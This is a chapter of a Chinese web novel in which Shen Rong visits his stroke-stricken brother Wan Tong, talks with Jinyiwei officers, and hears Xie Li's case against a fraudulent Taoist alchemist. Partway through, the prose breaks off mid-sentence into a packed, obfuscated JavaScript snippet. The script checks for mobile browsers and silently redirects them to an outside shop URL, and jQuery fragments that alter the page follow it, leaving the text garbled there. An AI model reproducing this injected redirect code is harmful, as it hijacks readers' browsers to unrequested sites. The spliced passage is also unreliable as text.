菩萨像能有个鬼用!要不是知道万通有那么一档子破事,沈瑢都要怀疑这病是因菩萨像而起的了——毕竟继晓硬塞的东西,他才送到这边来没几天,万通就出了事,不怀疑他怀疑谁? 不过现在看他二嫂这个反应,八成万通真是为那事了。说出去恐怕都没人会信,因为在外头包养的小三跟丈夫团圆,所以把自己气出了毛病……哎,也不知道万贵若真是地下有知,会是什么想法。 沈瑢其实也不想看见万通,但来都来了……只好去看看。 万通躺在床上,半边脸还有点僵硬,但看面色倒也还好,只是看见沈瑢,就没什么好气:“你来做什么?” 他说话还不大顺溜,舌根明显还有些僵硬,旁边的御医刚施完针,一看他这样子就头痛:“大人原是气血冲心肝阳暴亢才有此症,便是行了针,也还需平心静气,好生调养才是。”他们做大夫的,最怕就是遇到万通这种病人,医嘱是不听的,若病不好又要怪大夫无能。偏偏他又是贵妃的亲弟弟,若有个什么三长两短,倒霉的还是他们这些御医。 沈瑢也很想翻白眼。他一进屋,就看见自己从大永昌寺捧回来的那菩萨像摆在万通床头上呢。 万家乍富,别人还好些,万通是真的一副暴发户嘴脸,卧室里搞得金碧辉煌的,所以那玉雕菩萨像就格外显眼,甚至有点格格不入,任何人进来,第一眼都能看见。 菩萨像还摆着,就对自己这样讲话,沈瑢也是没好气:“我来瞧瞧二哥,还有陛下赏的佛像。” 万通这才想起来菩萨像是沈瑢拿来的。 中风是重症,他又是夜里发病,若不是伺候的下人发现得早,便是请了御医来,他此刻怕也已经瘫在床上了。 据那下人所说,是值夜之时忽然见他房中有微光亮起,还当他有什么事,故而隔窗问了一声却不得回答,反而是光倏忽消失。下人怕是进了贼,急忙进门察看,便见他在床上口眼歪斜,四肢僵硬,这才喊了起来。 事后众人自然没发现有甚贼,倒是下人回忆之后,发觉那微光亮起之处正在他床头上,于是皆说是菩萨显灵,救他一命。 虽则并无实证,万通嘴硬说是下人看错了,但心中实也是相信的,毕竟那可是皇帝亲赐,从大永昌寺请回来的菩萨像啊! 关于大永昌寺的佛像灵验,那万通是早就知晓的。当初自己这个便宜弟弟多病,时不时的就高热不退甚至烧到抽搐,请了御医来都说养不大,老头子就亲自去大永昌寺求药师佛像回来供奉。 本来万通也不怎么信这些东西的,可是这药师佛请回来供了七日,突然有一夜悄没声息地就自己裂了——上好青玉雕刻的佛像,没磕没碰的,就那么在佛龛里自己裂成了两半!也就是从那日起,本来夜夜起热的万瑢,竟然就不药而愈,再也不曾发病了! 这是什么?这不就是佛像给万瑢挡了灾,断了病根么? 因此事太过灵异,万贵也没张扬,悄悄把那药师佛像收了起来便罢,连下人知道的都没几个。万家兄弟倒是知道,可是一个婢生子得菩萨保佑这样的事儿,他们兄弟也没人愿意往外宣扬。 后来万贵过世,那菩萨像也陪着他入了土,知情的老仆人也陆续下世,这事就更没人知道了。至于万瑢,他生病之时年纪还小,后来又去了老家,自是无从知晓。 若不是如此,万瑢得了那菩萨像,哪里还会送到老宅来呢?不过是他不知大永昌寺的神通,故而不知珍惜罢了。 既如此,万通自然不会特地说明,难道再让万瑢把这菩萨像要回去不成? 至于说感激?呵,这弟弟又不是真心为他好,他要感激什么? 36.回来 沈瑢去万家大宅探病,等于探了个寂寞。 万通虽把他送去的菩萨像供在床头,对他却还是横鼻子斜眼的——当然,他脸还是僵的,这眼想不斜大概也不行。 这等不知好歹的模样,沈瑢真是想甩手就走,但他还有点担心那尊菩萨像,所以忍着气多留了一会儿,跟两位御医打听了一番。不过根据御医的说法,就是单纯气急攻心引发的中风,按沈瑢的理解,应该属于脑溢血,所以他送的药材其实是不合适的。 于是沈瑢直接把备好的探病礼物又拎回来了,然后直奔北镇抚司。 “哟,你们回来了?”一进北镇抚司大门就碰见了董长青,一身风尘仆仆的模样,显然是刚刚回来交了差,“怎么样啊?没在外头遇险吧?” “嗨,一点小事,我们出马还不是手到擒来!”董长青习惯性地开始吹牛皮,看见沈瑢撇嘴,不禁好笑地伸手去胡撸他的头发,“你那是什么模样!” 沈瑢躲开他的手:“谢大人呢?” “在指挥使大人那儿呢。”董长青伸个懒腰,“你这消息也忒灵通了——对了,你那二哥不是病了么,你不去侍病,跑来做什么?” “你怎么知道他病了?”沈瑢也惊,“你这消息才灵通吧?” 董长青哈哈大笑:“你那二哥的事,我们还有什么不知道的……”自打万通那蠢货想对袁彬下手,就是整个北镇抚司的敌人了。虽说那蠢货没能做成什么,又被谢骊寻机狠狠整过,但北镇抚司一干锦衣卫们都是记仇的好手,哪会轻轻放过?就万通干的那些事,他们平日里顺便就能打听着,无事看个笑话,有事还好落井下石呢。 “你知道什么?”沈瑢就是想打听这个,立马拉住董长青不放,“他怎么病的,你知道吗?” 董长青一时不慎又说漏嘴,不由得挠了挠头:“嗨,这个……”到底眼前这个是万通的兄弟,让他怎么说呢? 沈瑢自然不会放过他:“快说快说!你也知道我跟我二哥早分了家,又不和睦,装什么呢!快告诉我,我就当听个笑话。” 董长青只得道:“其实也没什么,不过就是他在外头看中一个,偏人家是有男人的。你那二哥心窄,谁知道怎么就把自己气倒了。”这他都不好说,说出来笑死人,就为了人家男人回来,俩人亲热了一回,万通就气得自己中了风,实也是闻所未闻了。 他虽然说得含糊,沈瑢却一下子就听明白了,这不就是野史上记的那事儿么。如此看来,这是本就会发生的事,应该跟那菩萨像没关系,这他就放心了。 董长青看他不再追问,赶紧借机脱身:“那什么,你去里头看看,说不定百户大人已经从指挥使那儿出来了。” 他哄走沈瑢,转头却见崔和不知从哪里出来,冷眼看他道:“你又在胡说八道些什么?” 董长青叫苦道:“我说的都是实话,哪里胡说八道了?”有些他都还没说出来呢。 崔和嗤道:“你这是要告诉他,北镇抚司盯着万家?” 董长青挠头道:“咳,这也是……我本也没想……不知怎的,总会忘记他是万家人……”实在是这万瑢干的事桩桩件件都与万家兄弟相去甚远,甚至有时候还是在坑万家人,所以一不小心就会忘记他姓万。 崔和其实有时也会有类似的感触,但他生性谨慎,不似董长青嘴那么瓢,闻言便道:“这些事也就罢了,若漏了什么要紧事,你看大人不揭了你的皮!” 董长青缩了缩脖子,嘴硬道:“我能漏什么要紧事,大人,大人自己都与他说了好些事呢……”那些个只有北镇抚司锦衣卫方能学习的秘闻异事,谢骊也没少跟万瑢说啊。 崔和冷笑道:“那些算什么。虽说只有咱们北镇抚司才会习学,但皆有文书典籍在,他若想知晓,自然也能查到。更何况许多事都是他自己亲身经历,要瞒也瞒不住。” 董长青无话可说,哼哼了两声没词儿了。崔和却还没完,瞥着他道:“唯是这些不见于书册的东西,他本是无处可知,却偏偏被你说出来了。” “我——”董长青一败涂地,“我下次再也不说话了行不行?” “呵,那怕是得等太阳从西边出来。” “你!”董长青只得转开话题,“你那亲事怎样了?大人都定亲了,你家里拖拖拉拉的要等到几时?” 说到此事,崔和脸便阴了下来。崔家人口众多,七八房人家聚居,一举一动都牵东扯西,再没几分自由。他所在的五房本是庶支,向来被嫡支几房压在下头,如今他有了出息,父母欲为他谋一桩好些的亲事,也被嫡□□边阻挠。 此次他们出差之前,家里原是已经物色好了人选,结果等他回来,这事儿又被大房搅黄了。 其实崔和倒不是对亲事多热心,只是深恨这种明争暗斗。若依着他,真想干脆分家出来,不借崔家的势力和名声,自己在锦衣卫里用心当差也能支撑门户。无奈他那过世的祖父临终前留下不许分家的遗嘱,大明又讲孝道,这一句话就把他父亲给按死在崔家,他自然也逃不出来。 有时候想想,崔和也不由得想说句讨打的话:“还不如似你这般……” “嗨,像我有什么好。”董长青没好气道。他孤儿寡母的,小时候没少挨欺负,若不是后来个子比别人长大,又有机遇入了锦衣卫,现在日子定然不好过。 崔和也知道自己说话不妥,默然闭了嘴。 董长青拍拍他肩膀笑道:“大丈夫只患事业不立,何患无妻。再过几年你这官职升一升,还愁没好亲事?” 如今他两个都是正七品的总旗,而顶头上司谢骊是正六品的百户。但其实山东一案之后,谢骊就有资历升从五品的副千户,只是暂时被袁彬压了下来而已。 北镇抚司里都知道,袁彬是想让谢骊接掌北镇抚司的,但要到从四品的镇抚使,这中间差得有点多。若是一步步正经的升上去,那还得熬些资历,只怕袁彬的身体等不起。 而且这种按部就班的升职法,有时候会浪费些功劳。譬如山东这桩案子,谢骊不但端掉了白莲教一处货真价实的“妖坛”,还寻回了一张《山海经》的真页,这份功劳着实不小。可是他在山东还端掉了一批官员,也同样遭了不少忌恨。 若是这时候论功升职,这份功劳只升一级有些少了,可若想直升两级成为千户,那些被他得罪的人必定不许,到最后也只能升个副千户,实在可惜了。 所以袁彬想着让谢骊攒一攒功劳,最好再办一桩大案建些奇功,如此,到袁彬告老的时候再上一篇声情并茂的奏章,恳请皇帝看在他的资历情份上提拔他看好的人,那时候谢骊的功劳再加上他搭的脸面,差不多就成了。 只是谢骊不升职,他手下的人自然也得跟着先压一压。不过董长青有信心,也就是几年的事儿,他和崔和绝对能捞到个百户当! 百户是正六品,如今崔家嫡支里头也找不出几个比这品级高的了,到时候崔和说话自然与如今不同。 “再说了,要是有合适的人,还可以让大人替你做媒,看谁还敢从中作梗!”董长青摆出一脸恶狠狠的表情,“到时候谁敢作怪,就请他来诏狱住几天!” 崔和被他说得又气又笑,随手往他肋下捅了一拳:“胡说八道!大人岂会如此公器私用?若被大人听见了,小心你又挨骂。” 他这一拳没怎么用力,董长青却就势弯下了腰,哎哟哎哟地吊在他身上:“肋条都断了!” 崔和当即又用力给了他一拳,董长青嘿嘿笑着直起腰,勾着他肩膀没事人一样往外走:“这几天跑的,干粮实在吃腻了,咱们也别吃厨下那老几样了,走走走,去吃一杯解解乏……” 他两人在外头拉拉扯扯的时候,沈瑢已经进了谢骊的办公室。同样是才从外头回来,董长青灰扑扑的像在土里滚过,谢骊却是身不染尘,连中衣领子都还是雪白的,正正卡在喉结处,引得沈瑢忍不住多看了一眼。 谢骊正在写一份文书,头也不抬地道:“你怎来了?” 沈瑢来,原本是不放心菩萨像的事儿,但既然从董长青那儿得到答案,他也就不愿意再把这事拿出来跟谢骊说了——好听么?在外头包小三,还包有夫之妇,他说着都嫌嘴脏。再说了,万瑢这个身体才十五岁,这种事还是少说的好,不然叫谢骊听着,这么点儿年纪就这么“博闻广识”,会对他有什么印象啊? 虽然注定无缘,但沈瑢还是希望谢骊能对他保持一点好印象的。他是灵魂穿过来的,将来如果找到回去的办法,肯定还是灵魂返回,到时候这个世界的万瑢就真的死了。希望到时候谢骊看见他的尸体,会对他有点怀念,而不是一想起来,就觉得他五毒俱全。 打定主意,沈瑢就开始信口开河:“来看看你们回来没有。差事办得怎么样?遇到什么妖人了?” “没什么妖人。”谢骊心知肚明他在撒谎,但也不点破,“虚惊一场罢了。”他们办差就是这样,有时候急急忙忙赶过去,却是一些人在装神弄鬼,压根没有什么真东西。 “那董长青还跟我吹牛,说是手到擒来……” 谢骊看他气鼓鼓的样子,不由得微微一笑:“既无妖人,自然是手到擒来。” 行吧,这就是语言的艺术…… 沈瑢无话可说,又舍不得走,没话找话地伸长脖子去看文书:“既没妖人,那是作什么怪了?” “以硫磺火药伪为天雷,害人性命。”谢骊神色冷了下来,“以此蛊惑民众,售卖金丹!道录司——哼!” 因成化帝崇佛好道,民间的和尚道士数量也大增。按说这种事都该僧录司与道录司管,须仔细核实身份方能发放度牒,不是你剃了光头就能当和尚,穿上道袍就能充真人的。 无奈人数一多,就很难保证质量,更遑论这两家相争,都巴不得自己势力大过对方,只要是愿入自家门 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|12496504|129564||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 下的,哪里管是什么歪瓜裂枣,先收了再说。 这回的案子,便是一个混混,早年穷得过不下去,往道观里混了几年,学了些开炉炼丹的手法,便自己出来招摇撞骗。他那所谓的金丹就是蜂蜜面粉丸子,里头加几样随处可见的药草,混点儿药香,便充什么壮阳回春的神药。 原本若只是骗钱也就罢了,横竖他的药也是卖与有钱人家,既吃不坏人,便是损失百十两银子,也并不伤筋动骨。谁知这回遇上个郎中,尝了一尝便知是假货,当场给他戳破了。 这道人便恼羞成怒,悄悄往人家灶坑里埋了火药,郎中家起火造饭,便炸了个人仰马翻,道人便跳出来说是他用了五雷真法,令天雷击下,惩罚渎神之人。 这出了人命官司自然要报到衙门,本地父母官听见五雷法,还当他是个有真道行的,居然还想着往京城里送。 说来也是可笑,奏折送上来,乃是被与继晓有来往的官员瞧见了,因要送的是个“道人”,恐送进来长了李孜省那边的气焰,才给捅到了北镇抚司。若不然,真要送进京城,那才叫荒唐! 沈瑢也是听得目瞪口呆:“这是什么糊涂官!” 糊涂官这回自然是保不住自己那顶乌纱帽的,但谢骊的目标可不是一个七品县令,他是要参僧录司和道录司,偏偏这却是两尊动不得的大山。 北周武帝那会儿就曾灭过佛,盖因寺庙僧尼太多,损害了国家的税收与傜役兵役。如今虽然还不到那种程度,但因有继晓、李孜省二人就在皇帝身边,甚至还勾结官员,却是更嚣张了些。 尤其两边都急着扩充自己势力,若这般下去,早晚也要僧道满地跑,庙观满天下了。 难道要等到那个时候,再来一场灭佛不成? 谢骊方才就是在与袁彬商议这案卷要如何写。只写一个贩售假金丹自然不成,更可怕的是道观随意教授炼丹之术,人人皆知火药制法,则治安何在?今日可杀一郎中,安知明日这火药会埋进谁家炉灶?若是有日拿来炸皇陵,也不是不可能的。 “李孜省怕是要恨死你了吧……”沈瑢忍不住说。 李孜省的长处就是炼丹,那自然也懂这个什么所谓的“五雷法”了,成化帝看见他,会不会疑心他也乱埋□□什么的…… 只消成化帝有那么极偶尔的一点念头冒出来,就必然对李孜省有点忌惮。只要有了忌惮,那宠信还能如从前一样么? 谢骊冷笑了一声。李孜省的想法他岂会在意?但问题在于,若李孜省被压下去,继晓难免就会得意,一家独大,却不是件好事。 尤其是,李孜省乃是个假真人,继晓却是真有禅音。于朝堂而言,结堂的李孜省或许害处更大,但于北镇抚司来说,倒是继晓更危险。 沈瑢挠了挠头,干咳了一声:“其实吧,我真怀疑我二哥突然发病,是因为那个菩萨像。当然这事我也没有实据,但,但总要跟娘娘说说的。”实在没办法,只能用枕头风对抗禅音了。 谢骊抬头看了他一眼,心情有些复杂,半晌才缓缓道:“你总是如此,贵妃怕也不耐烦。” 万贵妃对这个便宜弟弟如何,谢骊自是知晓。如今太子伴读被搅散了,沈瑢也就没了用处,让他进北镇抚司,于万贵妃来说就是已经赏赐过了。没见过年之后,万贵妃就再没召见过他么?这时候若沈瑢跑去说话,万贵妃怕是不会上心,搞不好还会心烦,反而弄巧成拙。 “倒也是……娘娘确实好些日子没召我了……”沈瑢这阵子忙着学骑马,还真忽略了这个事儿,不由得有点发起愁来,“这怎么办?”万贵妃还怪难讨好的。 谢骊注目他良久,终于道:“周氏如今怎样?” “哦,她挺能干的,我看她是做生意的材料——”沈瑢正打算介绍一下周鱼近来的成绩,谢骊却摆手打断了他:“听说如今她不种花了?” “啊?啊,是……” “让她还管种花木。”谢骊徐徐道,“你那宅子里不是有几棵桃树?生出的花蕾和了香丸送去宫里,用来沐浴可令肌肤鲜妍身有异香。就说是你在外头寻来的方子……” 沈瑢睁大了眼睛:“啊?”周鱼种出来的花,还有美容的用处? 谢骊看他一眼:“去做就是。只是——切勿向外人说起。”其实香丸最大的用处并不是润泽肌肤,而是那异香能令成化帝精神抖擞,“兴致盎然”! 万贵妃年纪已然五十有余,再怎么保养,年龄也是改不了的。成化帝虽然对她依然宠信,但相比之下,到底是对那些年轻妃嫔更有“兴趣”。若是能令成化帝将“兴趣”留在永宁宫,怕是对万贵妃来说,比能保持美貌的九香丸更要紧些。 只是这些话,谢骊看着沈瑢的眼睛,实在是说不出口。且献这种近似于“房中术”的东西,也实非正举。倒不如不要让他知晓,如此,便是袁彬知道了,也怪不到沈瑢头上,只斥责他这个始作俑者也就是了。